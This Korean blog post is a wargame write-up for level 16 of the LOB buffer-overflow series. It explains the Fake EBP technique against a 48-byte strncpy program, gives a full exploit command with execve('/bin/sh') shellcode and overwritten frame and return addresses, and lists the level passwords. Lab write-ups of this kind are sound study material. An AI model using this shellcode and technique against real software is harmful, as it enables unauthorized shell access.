yehey's 공부 노트 \n ο(=•ω<=)ρ⌒☆

LOB 16번 풀이 (assassin) 본문

wargame 풀이/LOB

LOB 16번 풀이 (assassin)

yehey 2021. 1. 2. 16:04
id: assassin
pw: pushing me away
/*
        The Lord of the BOF : The Fellowship of the BOF
        - zombie_assassin
        - FEBP
*/

#include <stdio.h>
#include <stdlib.h>

main(int argc, char *argv[])
{
        char buffer[40];

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        if(argv[1][47] == '\xbf')
        {
                printf("stack retbayed you!\n");
                exit(0);
        }

        if(argv[1][47] == '\x40')
        {
                printf("library retbayed you, too!!\n");
                exit(0);
        }

        // strncpy instead of strcpy!
        strncpy(buffer, argv[1], 48);
        printf("%s\n", buffer);
}

 

  • stack, library 영역 ret 주소로 사용 불가
  • strncpy 길이 제한
  • 힌트: FEBP

이번에도 이전 문제와 마찬가지로 code영역을 ret 주소에 넣어주어야할 듯 하다.

그런데 이번에는 48바이트만 받아들이기 때문에 ret를 명령어로 넣을 수는 없다.

그럼 다른 명령어를 넣어야한다.

힌트에 FEBP 라고 적혀있는데 FEBP는 Fake EBP를 말한다.

 

FEBP (Fake EBP)
ebp 값을 변조하고 return address에 leave, ret 코드 주소를 넣어준 후에 leave와 ret가 실행되면 변조한 ebp 값으로 leave와 ret가 이루어지는 공격 기법이다.
ebp를 변조하는 방법은 이전에 풀었던 문제 12번 (golem)을 참조하면 좋을 것 같다. 

FEBP를 바탕으로 ret에 leave 코드의 주소를 넣어주자!

그리고 buffer에 쉘 코드를 넣고 sfp에는 buffer의 시작주소를 담고 있는 값의 주소를 넣어주자.

 

먼저 gdb를 이용해서 leave 코드 주소를 가져오자

 

leave 코드의 주소는 0x080484df 

 

이제 buffer 주소를 담고 있는 값의 주소를 찾아야한다. (eip가 buffer로 이동하기 위해)

gdb에서 buffer 주소와 해당 주소를 담고 있는 위치를 찾아보자

 

buffer 시작 주소는 파란색 박스로 0xbffffaa0 이다.

그런데 buffer 바로 앞 4바이트에서 0xbffffaa0 를 값으로 갖고 있다.

따라서 해당 주소 0xbffffa9c가 eip에 넣어져야하는 주소가 된다! 

그런데 eip에 0xbffffa9c가 들어가려면 sfp에는 0xbffffa9c - 4를 한 0xbffffa98 이 값으로 들어가야 한다.

(leave는 mov esp,ebp   pop ebp 로 이루어져 있기 때문에 ret에서 pop eip에 0xbffffa9c가 들어가려면 pop ebp에는 0xbffffa9c - 4인 0xbffffa98이 들어가야 pop ebp후 eip에 0xbffffa9c가 들어갈 수 있다. - 2020/12/30 - [wargame 풀이/LOB] - LOB 12번 풀이 (golem))

 

따라서 payload는 다음과 같아진다.

payload: ./zombie_assassin `python -c 'print "\x90"*15+ "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x98\xfa\xff\xbf"+"\xdf\x84\x04\x08"'`

 

 

zombie_assassin의 pw: "no place to hide"

'wargame 풀이 > LOB' 카테고리의 다른 글

LOB 18번 풀이 (succubus)  (0) 2021.01.04
LOB 17번 풀이 (zombie_assassin)  (0) 2021.01.03
LOB 15번 풀이 (giant)  (0) 2021.01.01
LOB 14번 풀이 (bugbear)  (0) 2020.12.31
LOB 13번 풀이 (darkknight)  (0) 2020.12.30
Comments